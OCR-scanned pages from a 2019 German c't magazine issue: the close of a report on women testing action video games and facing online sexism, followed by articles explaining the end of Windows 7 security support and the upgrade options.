wohl sich das mit Sicherheit keine Femi-
nistinnen ausgedacht haben®.

Luzie hingegen: ,,Das ist sexistisch
und viel zu schnell.“ Die Gewaltdarstel-
lung in Soul Calibur stort sie kaum, im Un-
terschied zu Mortal Kombat: ,,Das ist voll
eklig, das wiirde ich erst ab 30 Jahren frei-
geben.” In ,,Red Dead Redemption 2
stort sich die Optikerin an der klischee-
haften Mannlichkeit und daran, dass die
Spielfigur Morgan ,,keine Hiitte baut und
eine Familie griindet®. In Spider-Man fin-
det Luzie nicht den richtigen Rhythmus
aus Schwingen und Loslassen und bleibt
in den Hiuserschluchten hingen. ,,Da
muss man stindig seine Finger irgendwie
verknoten. Das ist so ein richtiges Jungs-
spiel®, so ihr Fazit.

Online-Sexismus
Beide Frauen konnten in keinem der ins-
gesamt zwoOlf Spiele fiir sie interessante An-
satze entdecken. Einzig das Episoden-Ad-
venture ,,Life is Strange® weckte ihr Inte-
resse, hinterliefd aufgrund der Zeitknapp-
heit jedoch keinen bleibenden Eindruck.
Folgt man ihrem Urteil, scheinen ac-
tionbetonte 3D-Spiele ein Refugium fiir
iiberkommene Minnlichkeitsideale zu
sein. Bei YouTube und Twitch verhohnten
jingst Chauvinisten wie der Betreiber
von ReviewTechUSA diverse Frauen, die
zuvor Gaming-Videos kritisiert hatten, in
denen ein Spieler in ,,Red Dead Redemp-
tion 2“ eine virtuelle Frauenrechtlerin er-
mordete und anziindete. Tenor der zahl-

reichen Kommentare im Forum: ,,Hat sie
verdient, die Schlampe!
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Geschlechtertrennung in Spielen | Hintergrund

Drastische Frauenfeindlichkeit erleb-
ten die Entwicklerinnen Zoé Quinn und
Brianna Wu, die 2014 in der Gamergate ge-
nannten Hasskampagne Morddrohungen
erhielten. Entsprechend gelten Online-
Spiele laut einer Untersuchung des briti-
schen Marktforschungsinstituts Bryter als
unsichere Orte fiir Frauen: Beinahe jede
dritte Frau gab an, in Online-Spielen sexu-
ell beldstigt und in einigen Fillen mit
Vergewaltigung bedroht worden zu sein.
Kaum verwunderlich, dass ein grofder Teil
der Frauen sich entweder als Mann ausgibt
oder aufs Online-Spielen ganz verzichtet.

Wir lieflen Luzie eine Online-Partie
Fortnite spielen: Ihr gefielen die Figuren,
dasie ,,nicht so tibersexualisiert aussehen
wie in Soul Calibur®. Insgesamt war ihr
das Spiel zu ,,hibbelig* und das ,,Kleine-
Jungs-Gelaber zu ,,nervtotend*. Sexis-
tisch beschimpft wurde sie nicht, doch
milde bespottelt. Die Optikerin kann sich
nicht vorstellen, online zu spielen: ,, Dafiir
habe ich keine Zeit. Ich guck am Abend
lieber eine Serie und geh friih ins Bett. Ich
muss um sechs Uhr aufstehen.“ Andrea
bestatigt dies: ,,Frauen haben ja meist viel
mehr zu tun als Ménner. Kinder, Haushalt,
Arbeit - wann soll ich spielen?

FrauenfuBball ist keine Losung
Die Frauen sind zwar nicht reprasentativ,
doch ihre Reaktionen verdeutlichen drei
Griinde, warum so viele Videospiele beim
weiblichen Geschlecht scheitern:
Erstens liberwiegen in 3D-Action-
Spielen, die Bestseller-Listen dominieren,
oft klischeehafte ,,Méannerhobbys* wie
Priigeln, Morden und Fuf3ball. Die beiden
Frauen wurden davon nicht abgeschreckt,
aber die Themen interessierten sie zu
wenig, als dass sie bereit gewesen wiren,
ihre knappe Freizeit dem Erlernen der
hektischen Steuerung zu opfern.

Soul Calibur 6:
Hektischer
Sexismus mit
unrealistischem
Bindegewebe

Da nutzt es auch nichts, einen mann-
licher Avatar durch einen weiblichen zu er-
setzen, wie die Reaktion auf Tomb Raider
zeigt. Wie riickstindig viele Darstellungen
von Frauen sind, hat Anita Sarkeesian auf
Threr Webseite Feminist Frequency aus-
fithrlich dargelegt. Es braucht deshalb an-
dere Inhalte. Welche das sein konnen,
zeigt Cornelia Geppert in ,,Sea of Soli-
tude®. IThr Adventure wird gern als Beweis
angefiihrt, dass sich Entwicklerinnen mit
anderen Inhalten durchsetzen konnen.

Die zweite Hiirde ist die Hardware:
»Xbox, PlayStation und PC zielen extrem
auf die ménnliche Zielgruppe®, wie es die
Entwicklerin Lucy Blundell formuliert.
Nintendo feierte vor rund zehn Jahren gro-
3en Erfolg mit der Wii und deren zuging-
lichen Controllern. Allerdings wurde das
Konzept von Nintendo wieder verworfen.
Die Firmenchefs glaubten offenbar, kom-
plexere Steuermethoden wiirden einen
grofieren wirtschaftlichen Erfolg verspre-
chen. Wenn Minner mehr Zeit und Geld
in Videospiele zu investieren, bestimmen
sie auch, welche Konzepte den Markt lang-
fristig dominieren.

Drittens ergibt sich selbst bei progres-
siven Paaren nach der Geburt des ersten
Kindes oft das ,,Phanomen der Traditio-
nalisierung®, wie es die Wiener Familien-
forscherin Sabine Buchebner-Ferstl formu-
liert; gemeint ist die Ungleichverteilung der
Hausarbeit und damit das verfiigbare Zeit-
budget. Grofde Videospiele sind zeitrau-
bend und lassen sich schlechter stiickeln
als TV-Serien, sodass vielen Frauen nach
dem Abendessen keine Zeit bleibt, um als
»Monster Hunter* titig zu werden. Kon-
zepte wie die Episoden-Adventures von
Telltale oder das dhnliche ,, Life is Strange*
passen offenbar eher zu den Interessen und
Zeitplanen von Frauen, haben es aber
schwer, in punkto medialer Aufmerksam-
keit und Marktmacht zu bestehen.

Die Autorin Sabine Hahn hofft in
ihrem Buch ,,Gender and Gaming® auf
Anderungen. Anhand ihres Tugend-Kreis-
laufs fiihrt sie aus: Je mehr Frauen in der
Industrie arbeiten, als Spielerinnen auf-
treten und je mehr weibliche Themen vor-
kommen, desto mehr sprechen Spiele
auch Frauen an. Bislang wirken Versuche
der grofden Publisher, sie fiir Action- und
Sportspiele zu begeistern, jedoch unbehol-
fen. So kann man in Fifa seit 2015 auch
mit Frauenmannschaften kicken. Bei un-
seren Spielerinnen kam das nicht gut an:
»Fuf$ball - bitte nicht! Dann lieber Prii-
geln.” (hag@ct.de) c&
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Die Lunte
brennt

Das letzte Support-Jahr fir Windows 7 - jetzt handeln

Das letzte Support-Jahr fiir Windows 7

Bedeutung und Auswirkungen
Ausweg neueres Windows
Alternative Betriebssysteme
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Support-Ende fiir Windows 7 | Praxis

Es ist noch enorm oft im Einsatz, und trotzdem
hilt Microsoft weiterhin unbeirrt am Zeitplan
fest: Am 14. Januar 2020 endet der Support fiir
Windows 7 - und das ist gerade mal noch ein
Jahr hin. Doch was bedeutet das konkret und
wer muss sich nun Gedanken machen? Wir
beantworten die wichtigsten Fragen und

zeigen Auswege.

Von Axel Vahldiek

enn Microsoft den Support fiir
eine Windows-Version ein-
stellt, sind die Auswirkungen

jedes Mal andere. Als es 2014 Windows
XP traf, gab es ein Riesen-Theater. Ob-
wohl es zum Zeitpunkt des Support-
Endes mit Windows 7 einen allgemein als
wiirdig akzeptierten Nachfolger gab,
wollten oder konnten sich trotzdem viele
Nutzer nicht von XP trennen - sie hatten
es lieb gewonnen oder Inkompatibilititen
verhinderten den Umstieg. Das Support-
Ende von Windows Vista im April 2017
rief hingegen vor allem Schulterzucken
hervor, weil es eh kaum noch jemand
nutzte. Im Januar 2020, wenn Microsoft
den Support fiir Windows 7 beendet,
diirfte es wieder Theater geben, und zwar
diesmal in einer noch dramatischeren In-
szenierung: Der Marktanteil von Win-
dows 7 zum Zeitpunkt des Support-Endes
wird jenen von XP seinerzeit noch weit
iibersteigen. Zudem ist Windows 10 weit
davon entfernt, allgemein als wiirdiger
Nachfolger akzeptiert zu werden - viele
Windows-7-Nutzer wollen Microsofts ak-
tuelles Betriebssystem bislang nicht mal
geschenkt.

Was also soll man tun? In dieser Aus-
gabe widmen wir dieser Frage drei Arti-
kel: Der, den Sie gerade lesen, droselt auf,
was genau das Support-Ende eigentlich
bedeutet und welche Auswirkungen es
hat. Der nachfolgende gibt jenen Nutzern
Tipps, die trotzdem bei Windows bleiben
wollen. Den Abschluss bildet ein Blick
iiber den Tellerrand: Wenn man sich oh-
nehin an etwas Neues gewOhnen muss,
warum sollte man dann die Gelegenheit
nicht nutzen und mal etwas ganz anderes
ausprobieren?

c't 2019, Heft 2

Was genau endet

Wenn Microsoft den Support einstellt, be-
deutet das im Grunde blof3 eines: Am 14.
Januar 2020 gibt es zum letzten Mal kos-
tenlose Sicherheits-Updates fiir Windows
7, danach ist Schluss damit. Alle nach die-
sem Zeitpunkt entdeckten Sicherheitslii-
cken werden also nicht mehr gestopft.
Und es werden weiterhin welche gefun-
den, verlassen Sie sich darauf: Von den
rund 1000 Schwachstellen in Windows 7,
die die einschlédgige Datenbank ,,CVE De-
tail“ seit Erscheinen dieser Windows-Ver-
sion im Jahr 2009 insgesamt verzeichne-
te, wurden 229 erst im Jahr 2017 gefun-
den; 2018 waren es bis Redaktionsschluss
auch schon wieder 139. Von den insgesamt
269 besonders dramatischen Liicken, die
das Einschleusen und Ausfiihren beliebi-
gen Codes erlauben (code execution),
wurden gar 47 erst 2017 und 30 im Jahr
2018 entdeckt.

Noch fataler ist, dass aus Windows 7
jede Menge Code in die Nachfolger Win-
dows 8(.1) und 10 ubernommen wurde -
das ist so tiblich, denn Microsoft entwi-

Doops, your files have been encrypted!
What Happened to My Computer?
v

ckelt ja Windows nicht stindig neu, son-
dern immer nur weiter. Wenn also in jlin-
geren Windows-Versionen eine Sicher-
heitsliicke gefunden wird, ist die Wahr-
scheinlichkeit hoch, dass sie auch in
Windows 7 steckt. Dazu kommt: Wenn
Microsoft Liicken in Windows 8.1 und 10
schliefdt, veroffentlicht der Konzern nor-
malerweise mehr oder weniger detaillier-
te Informationen tiber die Art der Liicken,
und so erhalten Angreifer Hinweise, an
welchen Stellen die Suche nach Angriffs-
moglichkeiten in Windows 7 besonders
schnell zum Ziel fiihren diirften.

Des Weiteren wird Microsoft den
Quellcode von Windows 7 nach dem Sup-
port-Ende nicht herausriicken, weshalb
niemand in die Bresche springen kann, um
eine Sicherheitsliicke zu schlieflen. Vor
den Gefahren einer offenen Liicke kann
sie auch keine Zusatzsoftware schiitzen -
Virenscanner, Firewall & Co. konnen das
Risiko zwar mindern, aber nicht auf null
reduzieren. Sicherheitsliicken zeichnen
sich ja gerade dadurch aus, dass man mit
ihrer Hilfe ein System an anderen Schutz-
mafdnahmen vorbei angreifen kann.

Auswirkungen

Dass die Gefahren offener Sicherheits-
liicken keineswegs nur theoretisch sind,
haben Angreifer in der Vergangenheit be-
reits bewiesen. 2017 beispielsweise kom-
promittierten die Krypto-Trojaner Wan-
naCry und Petya durch den EternalBlue-
Exploit ungepatchte PCs, und zwar libers
Netz und ganz ohne Nutzeraktion [1]. Der
Exploit nutzt eine kritische Liicke in der
SMB-Implementierung von Windows aus
und verursachte Schiden im Milliarden-
bereich, und zwar nicht nur bei Privatnut-
zern (vor allem bei jenen ohne Backup),

—

Die Auswirkungen fehlender Updates kénnen verheerend sein: Der Erpres-
sungstrojaner WannaCry nutzte eine Sicherheitsliicke fir die Infektion.

29



Praxis | Support-Ende fiir Windows 7

Startseite der Systemsteuerung Wind Undat
Indows Update

Nach Updates suchen
Einstellungen dndern

Updateverlauf anzeigen

@U"E <« Alle Systemsteuerungselemente » Windows Update

- |&,| ‘ Systemsteuerung durchsuchen pel |

! _,,” Es wird nach Updates gesucht...

Ausgeblendete Updates )
anzeigen

Updates: Haufig gestellte
Fragen (FAQ)

Sie erhalten Updates:

Siehe auch

Installierte Updates

Updates wurden zuletzt gesucht:  Heute um 12:55
Updates wurden installiert:

Heute um 12:56. Updateverlauf anzeigen
Nur far Windows

Rufen Sie Updates fiir weitere Microsoft-Produkte ab. Weitere Informaticnen

Die Update-Orgien von Windows 7 sind legendar, doch nach dem
14. Januar 2020 werden Windows-7-Nutzer sie trotzdem vermissen.

sondern auch in der Industrie. Bei Auto-
herstellern etwa standen die Bénder still
und die Anzeigetafeln der Deutschen
Bahn zeigten statt Verspatungshinweisen
die Erpresserbotschaft. Die Malware hat
sich wurmbhaft verbreitet - sobald ein Sys-
tem infiziert war, machte sie sich aktiv auf
die Suche nach neuen Opfern. Jede Win-
dows-Installation im gleichen Netz wurde
infiziert, sofern sie nicht auf dem aktuel-
len Patch-Stand war.

Unklar ist derzeit, wie verlasslich die
Krypto-Infrastruktur von Windows 7 nach
dem Support-Ende bleibt. Sie ist das Fun-
dament von vielem, was unter dem Micro-
soft-Betriebssystem mit Verschliisselung
zu tun hat. Der Einfluss des Crypto-API
beginnt damit, dass Windows dariiber
eine gesicherte Verbindung zu Microsofts
Servern aufbaut, und endet damit, dass
Anwendungen wie Google Chrome beim
Validieren von Zertifikaten unter anderem
Windows vertrauen. Sobald im Crypto-
API eine Schwachstelle entdeckt wird, um
die sich Microsoft nicht mehr kiitmmert
(und dabei geht es nicht um ob, sondern
nur um wann), gefahrdet das nicht nur die
Sicherheit des Betriebssystems funda-
mental, sondern auch Ihre ganz personli-
chen Daten etwa bei Online-Kaufen.

Was nicht endet

Weil immer wieder Verwirrung herrscht,
was das Support-Ende noch so alles be-
deutet, hier ausdriicklich, was es nicht be-
deutet. Zunachst: Windows 7 lauft trotz-
dem weiter und es bleibt voll funktionsfa-
hig - sofern die Installation nicht durch
Schidlinge oder andere Angriffe lahmge-
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legt wird. Aber selbst dann l4uft es nach
einer Neuinstallation wieder.

Auflerdem wird Windows 7 keines-
wegs zur Freeware, die ab Januar 2002
von jedermann kostenlos verwendet wer-
den diirfte. Denn Microsoft behilt alle
Rechte an der Software. Schlief3lich wird
sich auch an der Aktivierung nichts an-
dern: Nach einer Neuinstallation oder be-
stimmten Hardware-Anderungen muss
man also weiterhin aktivieren. Die zu-
stindigen Server wird Microsoft nicht ab-
schalten.

Selbst an manchen Support-Angebo-
ten durch Microsoft dndert sich nichts.

Pro Jahr entdeckte
Schwachstellen

Die Zahl der seit dem Erscheinen von
Windows 7 pro Jahr darin gefundenen
Sicherheitsllicken ist im Laufe der
Jahre keineswegs gesunken, sondern
zuletzt sogar wieder gestiegen.

250
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Wenn es um das Reparieren von nicht-
sicherheitskritischen Bugs geht, gilt das
allerdings nur, weil Microsoft das bei
Windows 7 seit 2015 sowieso schon nicht
mehr macht. All das hingegen, was Micro-
soft als ,,Hilfe zur Selbsthilfe” anbietet
(etwa die Artikel in der Knowledge-Base
unter https://support.microsoft.com und
die Hilfeforen unter https://answers.mi-
crosoft.com), konnen Sie auch nach dem
Januar 2020 weiter nutzen - die Sicherheit
Threr Windows-7-Installation steigert das
aber nicht.

Ausnahmen? Ja, aber ...
Microsoft wird schon seit Jahren nicht
mide zu betonen, dass der 14. Januar
2020 in Stein gemeif3elt ist, und es ist der-
zeit nicht zu erwarten, dass sich an dem
Datum noch etwas dndert. Zwar sind mitt-
lerweile zwei Ausnahmefille definiert, in
denen der Support doch noch verlangert
wird - doch vor allem Privatanwendern
werden beide nicht helfen.

Die erste Ausnahme: Wenn ein am 14.
Januar 2020 verdffentlichtes Update ver-
sehentlich eine neue Sicherheitsliicke auf-
reiflen sollte, wird diese (und nur diese)
doch noch gestopft. Danach soll dann
aber wirklich Schluss sein mit kostenlosen
Updates.

Die zweite Ausnahme gilt nur fiir
jene, die bereit sind, fiir weitere Unterstiit-
zung durch Microsoft zu zahlen. Doch das
ist an Bedingungen gekntipft: Vorausset-
zung ist ein Volumenlizenzvertrag mit Mi-
crosoft, den aber tiblicherweise nur Un-
ternehmen, Behorden und Institutionen
abschliefSen. Wer einen PC mit vorinstal-
liertem Windows erworben hat, bleibt ge-
nauso wie PC-Selbstbauer auf3en vor. Des
Weiteren kann man den Support gegen
Geld nur um maximal drei Jahre verldn-
gern. Wie viel das Ganze kosten wird, ist
noch nicht bekannt, klar ist aber bereits,
dass die Kosten pro Gerit anfallen und ab-
sichtlich hoch sein werden, um die Kun-
den zum moglichst schnellen Umstieg auf
Windows 10 zu bewegen. Zudem wird die
zu zahlende Summe jahrlich weiter stei-
gen. Kunden mit Software-Assurance-Ver-
trag sollen immerhin Rabatt bekommen.
Microsoft nennt diese kostenpflichtige
Support-Verlingerung ,,Extended Securi-
ty Updates® (ESU). Beschrinkt ist sie auf
die Editionen Windows 7 Professional und
Enterprise. Das bedeutet iibrigens auch,
dass weder die Home-Editionen eine Ver-
langerung erhalten, noch Windows 7
Ultimate, obwohl das die mit Windows 7
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Informationen zu Internet Explorer

Internet

Version: 11.0.9600.19204
Updateversionen: 11,0100 (KB4470159)
Prodult-10: 00150-20000-00003-AA459

Explorer1

‘[‘_5' @] Meue Versicnen autematisch installieren

£ 2013 Microseft Corporation. Alle Rechte vorbehalten.

| SchlieBen

5 Wenn Microsoft
den Support fur
Windows einstellt,
wird auch der
Internet Explorer
unter Windows 7
keine Updates mehr
bekommen, und
ahnliches wird auch
fir viele weitere
Hard- und Software
gelten.

Enterprise funktional identische Vollver-
sion ist - aber Ultimate war immer nur fiir
Privatkunden gedacht, und fiir die gibt es
halt keine Support-Verlingerung.

Manch einer mag nun hoffen, dass die
Updates, die Microsoft nach dem Januar
2020 gegen Geld bereitstellt, vielleicht
doch irgendwie fiir jedermann verfiigbar
werden konnten - und hofft vielleicht
sogar, Microsoft lief3e sich juristisch dazu
zwingen. Vergessen Sie das: Alle Garan-
tie- und Gewihrleistungspflichten sind
10 Jahre nach der Veroffentlichung von
Windows 7 lingst abgelaufen, und Ver-
braucherfreundlichkeit ist nicht einklag-
bar. Hinzu kommt, dass Microsoft in vie-
len Fillen ohnehin zu keinerlei Unterstiit-
zung verpflichtet ist. Denn das ist stets nur
der Vertragspartner, und das ist gerade bei
Privatkunden tiblicherweise nicht Micro-
soft selbst, sondern der Hiandler, bei dem
man die System-Builder-Lizenz oder das
Gerit mit dem vorinstallierten Windows
erworben hat.

Auch auf anderen Wegen wird man
kaum an die Updates kommen - in der
Vergangenheit hat es jedenfalls nie ge-
klappt. Zwar konnte man Windows XP
nach dessen Support-Ende mittels Regis-
try-Hack doch noch zum Download von
einigen Updates iiberreden, doch das
waren welche fiir eine Spezialversion fiir
Kassensysteme und Bankautomaten na-
mens ,Windows Embedded POSReady
2009 (POS steht fiir ,,Point of Sale®).
Diese Updates wurden ausdriicklich nicht
fiir Desktop-Systeme getestet und waren
zudem aufein viel engeres Anwendungs-
feld zugeschnitten. Selbst wenn sie also
einzelne Licken wirklich schlossen, blie-
ben viele andere dennoch offen. Zudem
riskiert man mit den ungetesteten Up-
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dates die Stabilitdt seiner Installation.
Sollten solche Hacks auch fiir Windows 10
bekannt werden, lassen Sie besser die Fin-
ger davon, denn sie wiegen Sie blof$ in fal-
scher Sicherheit.

Nebenwirkungen

Wenn Microsoft 2020 den Support fiir
Windows 7 einstellt, ist damit auch der In-
ternet Explorer unter diesem Betriebssys-
tem gemeint. Der Browser wird also nur
noch dann mit Updates versorgt, wenn er
auf neueren Windows-Versionen lauft,
unter Windows 7 hingegen nicht.

Doch es wird noch weit mehr Hard-
und Software treffen, denn viele Herstel-
ler werden die Gelegenheit nutzen, Win-
dows 7 ebenfalls nicht mehr zu untersttit-
zen und die Schuld auf Microsoft abzu-
wilzen. Zumal Microsoft ja nicht nur beim
Browser mit schlechtem Beispiel voran-
geht: die aktuellen Office-Versionen lau-
fen nicht auf Windows 7 und die élteren
erhalten von Microsoft bald ebenfalls
keine Sicherheitsupdates mehr. Da gern
infizierte Office-Dokumente fiir Angriffe
genutzt werden, kann das schnell fatal fiir
den Anwender enden. Immerhin existie-
ren Alternativen wie LibreOffice, die fur
den Hausgebrauch locker ausreichen,
doch wer weder auf Windows 7 noch auf
Microsofts Office verzichten mag oder
kann, steht Anfang 2020 vor einem Pro-
blem.

Auch an anderer Stelle muss man sich
eventuell nach Alternativen umsehen: Vi-
renscanner konnen zwar wie erwéahnt oh-
nehin keine Sicherheits-Updates ersetzen,
doch so mancher Hersteller wird den Sup-
port fiir sein Produkt unter Windows 7 in
absehbarer Zeit sogar ganz einstellen. So
ist es jedenfalls bei Windows XP passiert:

Zwar bekommt man noch beispielsweise
von Norton (Symantec) oder Avast Viren-
scanner, deren Systemvoraussetzungen
noch Windows XP SP3 nennen, doch fiir
die Produkte von Avira, Kaspersky und
Microsoft selbst ist XP langst zu alt.

Die Rente naht ...

Dass die Zukunft nicht Windows 7 gehort,
merkt man tibrigens auch ohne Support-
Ende: Adobe beispielsweise hat die Anfor-
derungen fiir die Echtzeitvideobearbei-
tung in Premiere Pro und After Effects
sowie fiir 3D-Komposition in Adobe Di-
mension bereits heute auf Windows 10
hochgeschraubt. Auch die CorelDraw
Graphics Suite 2018 setzt Windows 10 als
Betriebssystem voraus.

Wer Netflix unter Windows schauen
will, bekommt unter Windows 7 maximal
Full HD - 4K und HDR sind Windows 10
vorbehalten, weil beides aus Kopier-
schutzgriinden Play Ready 3.0 sowie Edge
voraussetzt. Auch DirectX 12 gibt es nicht
flir Windows 7.

Selbst eine Neuinstallation von Win-
dows 7 wird immer schwieriger - nicht,
weil Windows 7 selbst das verhindern
wiirde, sondern weil den Installationsme-
dien schlicht Treiber fehlen (etwa fiir USB
3.x), sie Secure Boot nicht unterstiitzen
und nur mit Gefrickel zum Starten im
UEFI-Modus zu iiberreden sind. Von dem
profanen Problem mal ganz abgesehen,
dass viele moderne PCs gar kein optisches
Laufwerk zum Booten der Windows-DVD
mehr besitzen. Doch selbst wenn die In-
stallation gelingt, drohen gleich die nichs-
ten Probleme, denn sofern tiberhaupt noch
Windows-7-Treiber fiir moderne Hard-
ware zu finden sind, gibt es zunehmend
nur noch veraltete Versionen, die nicht den
ganzen Funktionsumfang bieten. Grafik-
karten und Onboard-Grafik erzeugen
dann zwar noch ein Bild, doch beispiels-
weise Energiesparfunktionen fehlen.

Wovor Updates nicht
schiitzen

Um ein weiteres Missverstindnis aus-
zurdumen: Ja, Sicherheits-Updates sind
enorm wichtig, denn jedes geschlossene
Einfallstor ist eines, das Angreifern nicht
mehr offen steht. Doch das bedeutet kei-
neswegs, dass sie als alleinige Schutzmaf3-
nahme taugen.

Vor allem fiir Windows-Standard-In-
stallationen gilt das nicht mal ansatzweise.
Das geht schon damit los, dass ein Anwen-
der, der aus welchem Grund auch immer
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(Unwissen, Leichtsinn, auf bosartige Mail
reingefallen ...) eine verseuchte Anwen-
dung oder ein infiziertes Dokument auf-
rufen will, daran von Windows nicht ge-
hindert wird. Fehlende Updates machen
es Angreifern in solchen Fillen allenfalls
noch leichter. Zudem ist Windows in der
Standard-Konfiguration ohnehin offen
wie ein Scheunentor: Schadlinge konnen
sich problemlos im System einnisten,
ohne dafiir Administratorrechte zu beno-
tigen oder auch nur eine einzige Sicher-
heitsliicke ausnutzen zu miissen. Anders
formuliert: Sicherheits-Updates verschlie-
3en zwar die Fenster, doch in der Stan-
dardkonfiguration kénnen Angreifer ein-
fach durch die sperrangelweit offene Ein-
gangstiir herein. Das Titelthema von c¢’t
10/2017 hat das in mehreren Artikeln
nicht nur detailliert aufgedroselt, sondern
auch Abhilfe vorgestellt, die auch die Ein-
gangstiir abschliefdt [2, 3, 4]. Auch Thren
Browser sollten Sie verrammeln [5]. Und,
ganz wichtig: Backup - es gibt keinen bes-
seren Schutz gegen Erpressungstrojaner.
Backup-Tipps von ganz einfach bis kom-
pliziert, aber feuerfest und diebstahlsi-
cher, haben wir unter ct.de/backup zu-
sammengetragen.

Falls Sie sich nun fragen, ob solcher
Aufwand wirklich sein muss: Das muss
jeder fiir sich selbst entscheiden. Wenn
Thnen die Sicherheit Threr Daten egal ist,
lehnen Sie sich halt zuriick oder probieren
es mit Daumen driicken - doch um es
deutlich zu sagen: Sie spielen dann eine
Art digitales russisches Roulette. Also be-
schweren Sie sich bitte nicht, falls Sie dann
Opfer von Erpressungen werden, Ihre per-
sonlichen Daten verloren gehen, jemand
in Threm Namen Thren Job kiindigt oder
ein Fremder mit Thren Kreditkartendaten
einkaufen geht.

Falls Sie auf solche Lotteriespielchen
eher keine Lust haben, sollten Sie handeln.
Und ja, das Thema Sicherheits-Updates
gehort dann unbedingt dazu. Denn es geht
ja nicht nur darum, einzelne Einfallstore
zu schliefen, sondern maoglichst alle.

Zahlenspiele

Zuletzt noch zur Frage, wen das Support-
Ende von Windows 7 denn wirklich trifft.
Gerade unter den c¢’t-Lesern durften sich
viele befinden, die damit zu tun bekom-
men werden, auch wenn sie selbst gar
kein Windows 7 mehr nutzen. So sollten
Admins priifen, wie viele Windows-7-In-
stallationen im Unternehmen noch im
Einsatz sind - und bei wem: Wenn sich
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ausgerechnet der Chefvon seiner vertrau-
ten Alt-Installation nicht trennen mag,
drohen Schwierigkeiten. Lassen Sie sich
notfalls schriftlich bestétigen, dass Sie vor
dem russischen Roulette gewarnt haben.
Auch Familien-Admins konnten auf
Freunde und Verwandte treffen, die gar
nicht einsehen, warum sie sich an etwas
Neues gewohnen sollen, weil der PC bis-
lang doch klaglos genau das tut, was er
soll. Verweigern Sie jenen den weiteren
Support. Wenn Microsoft den einstellt,
warum Sie dann nicht auch?

Falls es Sie trostet: Sie sind kein Ein-
zelfall. Wie hoch die Anzahl der derzeit
noch laufenden Windows-7 Installationen
insgesamt ist, lasst sich allerdings nicht
genau sagen. Das liegt schon daran, dass
sich alle bekannten Statistiken mehr oder
weniger unterscheiden. Die Tendenz ist
allerdings trotzdem tberall dieselbe:
Windows 7 stellt noch rund die Hilfte
aller Windows-Installationen auf Desk-
top-PCs und Notebooks. Windows 10
schickt sich gerade erst an, die Marktfiih-
rerschaft zu ibernehmen. Der Rest spielt
keine nennenswerte Rolle: Windows 8.1
und XP (!) bewegen sich um die 5-Pro-
zent-Marke, die Anteile der anderen Ver-
sionen verschwinden im statistischen
Rauschen. Vom Ziel, moglichst alle Nut-
zer zum Umstieg von Windows 7 auf
Windows 10 zu bewegen, ist Microsoft
auch den eigenen Zahlen zufolge noch
weit entfernt: Peilte man urspriinglich an,
dass Windows 10 bis Mitte 2018 auf einer
Milliarde Gerite laufen sollte, waren es
Ende 2018 stattdessen erst 700 Millionen.

Pro Monat kommen laut Microsoft 10 Mil-
lionen weitere Gerite hinzu. Ableiten
kann man aus all diesen Zahlen, dass
beim Support-Ende weltweit vermutlich
noch rund eine halbe Milliarde Gerate mit
Windows 7 laufen werden.

Die einzige Hoftnung fiir die Massen
der betroffenen Nutzer ist, dass Microsoft
vielleicht doch noch ein Einsehen hat und
den Support fiir jedermann und kostenlos
verliangert. Doch das ist unwahrschein-
lich: Privatanwender interessieren Micro-
soft mittlerweile kaum noch. Die Nutzer
der Home-Edition von Windows 10 bei-
spielsweise hat der Konzern aus Redmond
langst zu zahlenden Beta-Testern degra-
diert (siehe nachfolgendem Beitrag auf
Seite 34). Als der derzeitige Microsoft-
Chef Satya Nadella seinen Posten antrat,
hatte er als oberste Maxime ,,Cloud first*
ausgegeben - da miissen die Anwender
und ihre Interessen halt hinten anstehen.

(axv@ct.de) c&
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Sicherheits-Updates sind wichtig, weil sie Einfallstore schlieBen.
Als alleiniger Schutz taugen sie aber nicht, weitere VorsichtsmaBnahmen
sind also unerlasslich. Die wichtigste: Backup!
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Abschieds-Kick

Was Sie beim Support-Ende fiir Windows 7
in einem Jahr tun konnen

Wer trotzt des Support-Endes von
Windows 7 bei Windows bleiben
mochte, hat drei Alternativen:
Windows 7 vom Netz trennen
oder aber auf Windows 8.1
beziehungsweise Windows 10
umsteigen.

Von Axel Vahldiek

enn Microsoft Anfang 2020
den Support flir Windows 7 ein-
stellt, kann man zwar so tun,

als sei nichts passiert. Womoglich wird
man dann aber feststellen miissen, dass
dann erst recht etwas passiert, und zwar
mit den personlichen Daten, die iiber Si-
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cherheitsliicken geklaut, in Geiselhaft ge-
nommen oder vernichtet werden (siehe
Beitrag auf S. 28). Besser ist es daher, zu
handeln - doch wie? Eine Variante
ist das Abklemmen der Windows-
Installation von jeglichen Netzwerk- und
Internetverbindungen und allen anderen
Wegen des Datenaustauschs. In vielen
Fillen diirfte Windows dann allerdings
nicht nur sicher, sondern auch nutzlos
sein. Sinnvoller ist daher, das Betriebssys-
tem zu wechseln. Der nachfolgende Bei-
trag auf Seite 40 stellt Alternativen vor,
die nicht von Microsoft stammen, hier
geht es um jene Windows-Versionen, die
Microsoft selbst als Windows-7-Alterna-
tiven anbietet: Windows 8.1 und Windows
10.

Zuerst zur Versorgung mit Sicher-
heits-Updates, denn das ist ja der Ausloser

fiir diese Artikelstrecke. Windows 8.1 und
10 unterscheiden sich dabei fundamental.

Windows 8.1 erhilt von Microsoft
genau wie Windows 7 Support bis zu
einem definierten Enddatum: Sicherheits-
updates erhilt Windows 8.1 bis zum 10. Ja-
nuar 2023. Nach diesem Datum gilt fiir 8.1
also genau dasselbe wie fiir Windows 7
nach dessen Support-Ende. Jedoch: Weil
das Datum bei 8.1 drei Jahre weiter in der
Zukunft liegt, kann man sich als 8.1-Nutzer
derzeit erst mal zuriicklehnen, und zwar
von heute an gerechnet fiir vier Jahre.

Falls Sie sich wundern, dass hier von
Windows 8.1, aber nicht von Windows 8
die Rede ist: Der Support fiir die erste 8er-
Ausgabe ist bereits abgelaufen. Das Up-
grade auf 8.1ist letztlich das flir Windows
8, was das Service Pack 1 fiir Windows 7
ist: Hat man es nicht eingespielt, gibt es
bereits jetzt keine Updates mehr.

Probleme als Dienstleistung

Bei Windows 10 ist es deutlich komplizier-
ter. Das liegt daran, dass Microsoft Win-
dows 10 nicht mehr als Betriebssystem
verkaufen mochte, sondern als Dienstleis-
tung: ,Windows as a Service". Gemeint ist
damit, dass Windows 10 nicht nur immer
wieder Sicherheits-Updates, sondern auch
stindig neue Funktionen erhalt, und zwar
derzeit alle sechs Monate. Argerlicherwei-
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se liefert Microsoft bislang aber vor allem
immer neue Probleme, was an der Art des
Einspielens der Neuerungen liegt.

Microsoft verteilt neue Funktionen
keineswegs als normale Updates, bei
denen nur die gednderten Dateien ausge-
tauscht werden, sondern als komplett
neue Windows-10-Version, die wiederum
als Upgrade installiert wird: Windows ladt
dazu einen kompletten Installationsdaten-
